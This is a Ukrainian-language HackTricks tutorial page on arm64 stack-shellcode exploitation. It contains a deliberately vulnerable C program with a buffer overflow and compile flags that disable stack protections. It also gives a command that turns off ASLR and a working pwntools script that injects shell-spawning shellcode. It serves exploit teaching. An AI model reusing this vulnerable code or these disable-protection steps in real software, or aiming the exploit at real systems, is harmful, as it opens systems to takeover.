74 lines
2.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Stack Shellcode - arm64
{{#include ../../../banners/hacktricks-training.md}}
Знайдіть вступ до arm64 у:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Скомпілювати без pie, canary та nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow
Щоб зупинити ASLR, виконайте:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Щоб отримати [**зсув перевірки bof, перегляньте це посилання**](../ret2win/ret2win-arm64.md#finding-the-offset).
Експлуатація:
```python
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
```
Єдине "складне" в цьому випадку - це знайти адресу в стеку, яку потрібно викликати. У моєму випадку я згенерував експлойт з адресою, знайденою за допомогою gdb, але потім, коли я намагався його використати, це не спрацювало (тому що адреса в стеці трохи змінилася).
Я відкрив згенерований **`core` файл** (`gdb ./bog ./core`) і перевірив реальну адресу початку shellcode.
{{#include ../../../banners/hacktricks-training.md}}